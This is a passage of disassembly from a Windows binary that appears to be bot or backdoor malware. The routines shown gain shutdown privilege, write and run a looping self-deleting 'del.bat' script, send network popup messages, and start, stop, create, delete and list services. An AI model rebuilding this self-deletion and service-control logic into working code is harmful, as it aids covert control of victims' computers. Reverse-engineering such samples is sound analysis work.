		push	esi
		nop
		call	near ptr 2810000h
		push	esi
		call	ebx


loc_418333:				; CODE XREF: sub_418294+2Aj
					; sub_418294+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418294	endp


; =============== S U B	R O U T	I N E =======================================



sub_418338	proc near		; CODE XREF: sub_401ACD+16B2p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB594
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418338	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41835A	proc near		; CODE XREF: sub_401ACD+2755p
					; ___:0041686Cp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837E
		cmp	dword_4CB724, esi
		jnz	short loc_41837E
		push	esi
		call	sub_401000
		pop	ecx


loc_41837E:				; CODE XREF: sub_41835A+13j
					; sub_41835A+1Bj
		call	sub_40B2C0
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 26C0000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2710A6Ah
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DE
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 2700649h
		push	edi
		call	near ptr 2680920h
		nop
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D808
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 26B0000h
		push	eax
		call	near ptr 2690000h
		nop
		lea	eax, [ebp+var_15C]
		push	eax
		call	near ptr 26A0ED2h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418486
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	near ptr 26A0DB0h
		nop


loc_418486:				; CODE XREF: sub_41835A+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	near ptr 2820000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2680D3Bh


loc_4184DE:				; CODE XREF: sub_41835A+72j
		pop	edi
		pop	esi
		leave
		retn
sub_41835A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E2	proc near		; CODE XREF: sub_401ACD+7233p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26F0000h
		cmp	[ebp+var_84], 2
		jnz	short loc_418578
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB5D4
		push	edi
		push	eax
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_41856A
		push	[ebp+arg_10]
		push	offset dword_439074


loc_418543:				; CODE XREF: sub_4184E2+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		jmp	short loc_4185A2
; ---------------------------------------------------------------------------


loc_41856A:				; CODE XREF: sub_4184E2+57j
		call	near ptr 26A08EAh
		nop
		push	eax
		push	offset unk_43904C
		jmp	short loc_418543
; ---------------------------------------------------------------------------


loc_418578:				; CODE XREF: sub_4184E2+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43901C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 1Ch


loc_4185A2:				; CODE XREF: sub_4184E2+86j
		pop	edi
		leave
		retn
sub_4184E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A5	proc near		; CODE XREF: sub_401ACD+55FFp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26F0000h
		nop
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FB
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E4
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FB
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185E4:				; CODE XREF: sub_4185A5+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F6
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FB


loc_4185F6:				; CODE XREF: sub_4185A5+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185FB:				; CODE XREF: sub_4185A5+27j
					; sub_4185A5+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26D0000h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26D04BFh
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 27A03D6h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418685	proc near		; CODE XREF: sub_40111D+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 26B084Fh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276F8
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418685	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C2	proc near		; CODE XREF: sub_401ACD:loc_406127p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41871A
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439098[esi]
		push	edi
		push	eax
		call	sub_41873C
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41870A
		push	edi
		push	off_439094[esi]
		push	offset unk_4391A8


loc_4186FA:				; CODE XREF: sub_4186C2+56j
		mov	esi, offset dword_4DB6D0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418737
; ---------------------------------------------------------------------------


loc_41870A:				; CODE XREF: sub_4186C2+2Aj
		push	eax
		call	sub_4187DE
		pop	ecx
		push	eax
		push	edi
		push	offset unk_43917C
		jmp	short loc_4186FA
; ---------------------------------------------------------------------------


loc_41871A:				; CODE XREF: sub_4186C2+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DB6D0
		push	off_439090[eax*4]
		push	offset unk_439158
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418737:				; CODE XREF: sub_4186C2+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873C	proc near		; CODE XREF: sub_4186C2+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB648
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418763
		nop
		call	near ptr 26A08EAh
		mov	ebx, eax
		jmp	short loc_4187D8
; ---------------------------------------------------------------------------


loc_418763:				; CODE XREF: sub_41873C+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB530
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418783
		nop
		call	near ptr 26A08EAh
		mov	ebx, eax
		jmp	short loc_4187D0
; ---------------------------------------------------------------------------


loc_418783:				; CODE XREF: sub_41873C+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B6
		cmp	eax, 3
		jz	short loc_4187A7
		jle	short loc_4187C9
		cmp	eax, 6
		jg	short loc_4187C9
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB59C
		jmp	short loc_4187BD
; ---------------------------------------------------------------------------


loc_4187A7:				; CODE XREF: sub_41873C+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB538
		jmp	short loc_4187BD
; ---------------------------------------------------------------------------


loc_4187B6:				; CODE XREF: sub_41873C+4Dj
		push	esi
		call	dword_4CB5A0


loc_4187BD:				; CODE XREF: sub_41873C+69j
					; sub_41873C+78j
		test	eax, eax
		jnz	short loc_4187C9
		call	near ptr 26A08EAh
		nop
		mov	ebx, eax


loc_4187C9:				; CODE XREF: sub_41873C+54j
					; sub_41873C+59j ...
		push	esi
		call	dword_4CB54C


loc_4187D0:				; CODE XREF: sub_41873C+45j
		push	edi
		call	dword_4CB54C
		pop	esi


loc_4187D8:				; CODE XREF: sub_41873C+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DE	proc near		; CODE XREF: sub_4186C2+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418893
		jz	loc_41888C
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418856
		jz	short loc_41884C
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418842
		dec	ecx
		dec	ecx
		jz	short loc_418838
		dec	ecx
		jz	short loc_41882E
		sub	ecx, 51h
		jz	short loc_418824
		sub	ecx, 24h
		jnz	loc_418909	; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418824:				; CODE XREF: sub_4187DE+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_41882E:				; CODE XREF: sub_4187DE+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418838:				; CODE XREF: sub_4187DE+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418842:				; CODE XREF: sub_4187DE+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_41884C:				; CODE XREF: sub_4187DE+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418856:				; CODE XREF: sub_4187DE+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418885
		dec	ecx
		jz	short loc_41887E
		dec	ecx
		jz	short loc_418877
		dec	ecx
		jnz	loc_418909	; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418877:				; CODE XREF: sub_4187DE+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_41887E:				; CODE XREF: sub_4187DE+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_418885:				; CODE XREF: sub_4187DE+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_41888C:				; CODE XREF: sub_4187DE+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_418893:				; CODE XREF: sub_4187DE+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418909 ; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F6
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418909 ; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_41894A[ecx]
		jmp	off_418922[ecx*4] ; switch jump


loc_4188B7:				; DATA XREF: ___:off_418922o
		push	offset aTheSpecifiedDa ; jumptable 004188B0 case 7
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188BE:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceDepe ; jumptable 004188B0 case 17
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188C5:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceDe_0 ; jumptable 004188B0 case 10
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188CC:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHasB ; jumptable 004188B0 case 0
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188D3:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheSpecified_0 ; jumptable 004188B0 case 2
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188DA:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceCoul ; jumptable 004188B0 case 11
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188E1:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHa_0 ; jumptable 004188B0 case 14
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188E8:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheRequested_1 ; jumptable 004188B0 case 3
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188EF:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHasN ; jumptable 004188B0 case 4
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188F6:				; CODE XREF: sub_4187DE+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4188FB:				; CODE XREF: sub_4187DE+41j
					; sub_4187DE+4Bj ...
		push	offset dword_4DB010
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891C
; ---------------------------------------------------------------------------


loc_418909:				; CODE XREF: sub_4187DE+36j
					; sub_4187DE+89j ...
		push	eax		; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DB010
		call	sub_41B886
		add	esp, 0Ch


loc_41891C:				; CODE XREF: sub_4187DE+129j
		mov	eax, offset dword_4DB010
		retn
sub_4187DE	endp

; ---------------------------------------------------------------------------
off_418922	dd offset loc_4188CC	; DATA XREF: sub_4187DE+D2r
		dd offset loc_4188D3	; jump table for switch	statement
		dd offset loc_4188E8
		dd offset loc_4188EF
		dd offset loc_4188B7
		dd offset loc_4188C5
		dd offset loc_4188DA
		dd offset loc_4188E1
		dd offset loc_4188BE
		dd offset loc_418909
byte_41894A	db	0,     9,     1,     2 ; DATA XREF: sub_4187DE+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895C	proc near		; CODE XREF: sub_401ACD+45D4p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB648
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_418994:				; CODE XREF: sub_41895C+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB614
		test	eax, eax
		jnz	short loc_4189CE
		nop
		call	near ptr 26A08EAh
		cmp	eax, 0EAh
		jnz	loc_418A82


loc_4189CE:				; CODE XREF: sub_41895C+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A79
		lea	esi, [ebp+var_188]


loc_4189DF:				; CODE XREF: sub_41895C+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A28
		dec	eax
		jz	short loc_418A21
		dec	eax
		jz	short loc_418A1A
		dec	eax
		jz	short loc_418A13
		dec	eax
		jz	short loc_418A0C
		dec	eax
		jz	short loc_418A05
		dec	eax
		jz	short loc_4189FE
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_4189FE:				; CODE XREF: sub_41895C+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A05:				; CODE XREF: sub_41895C+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A0C:				; CODE XREF: sub_41895C+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A13:				; CODE XREF: sub_41895C+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A1A:				; CODE XREF: sub_41895C+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A21:				; CODE XREF: sub_41895C+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A28:				; CODE XREF: sub_41895C+87j
		push	offset aStopped	; "    Stopped"


loc_418A2D:				; CODE XREF: sub_41895C+A0j
					; sub_41895C+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DF


loc_418A79:				; CODE XREF: sub_41895C+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418994


loc_418A82:				; CODE XREF: sub_41895C+6Cj
		push	[ebp+var_C]
		call	dword_4CB54C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A99	proc near		; CODE XREF: sub_401ACD:loc_406167p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B33
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC2
		dec	eax
		jnz	short loc_418B13
		push	edi
		push	0
		call	sub_418C6C
		pop	ecx
		pop	ecx
		jmp	short loc_418B0F
; ---------------------------------------------------------------------------


loc_418AC2:				; CODE XREF: sub_418A99+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B01
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B01
		push	57h
		pop	eax


loc_418AD9:				; CODE XREF: sub_418A99+78j
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB2CC
		push	off_439090[eax*4]
		push	offset unk_43973C
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B53
; ---------------------------------------------------------------------------


loc_418B01:				; CODE XREF: sub_418A99+2Dj
					; sub_418A99+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BC0
		add	esp, 0Ch


loc_418B0F:				; CODE XREF: sub_418A99+27j
		test	eax, eax
		jnz	short loc_418AD9


loc_418B13:				; CODE XREF: sub_418A99+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB2CC
		push	off_439094[eax*4]
		push	offset dword_439720
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B53
; ---------------------------------------------------------------------------


loc_418B33:				; CODE XREF: sub_418A99+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB2CC
		lea	eax, [eax+eax*2]
		push	off_439090[eax*4]
		push	offset unk_4396FC
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418B53:				; CODE XREF: sub_418A99+66j
					; sub_418A99+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A99	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B59	proc near		; CODE XREF: sub_419E7A+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B66
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418B66:				; CODE XREF: sub_418B59+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DB4CC, 1
		mov	ebp, eax
		jnz	short loc_418BA3
		or	byte_4DB4CC, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DB26C, eax


loc_418BA3:				; CODE XREF: sub_418B59+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB26C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DB26C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BC0	proc near		; CODE XREF: sub_418A99+6Ep
					; sub_41A19E+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2B
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2B
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB548
		pop	edi
		leave
		retn
sub_418BC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2B	proc near		; CODE XREF: sub_418BC0+Ap
					; sub_418BC0+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C38
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418C38:				; CODE XREF: sub_418C2B+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6C	proc near		; CODE XREF: sub_418A99+20p
					; sub_419E7A+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2B
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB520
		pop	esi
		retn
sub_418C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8F	proc near		; CODE XREF: sub_401ACD+46B1p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
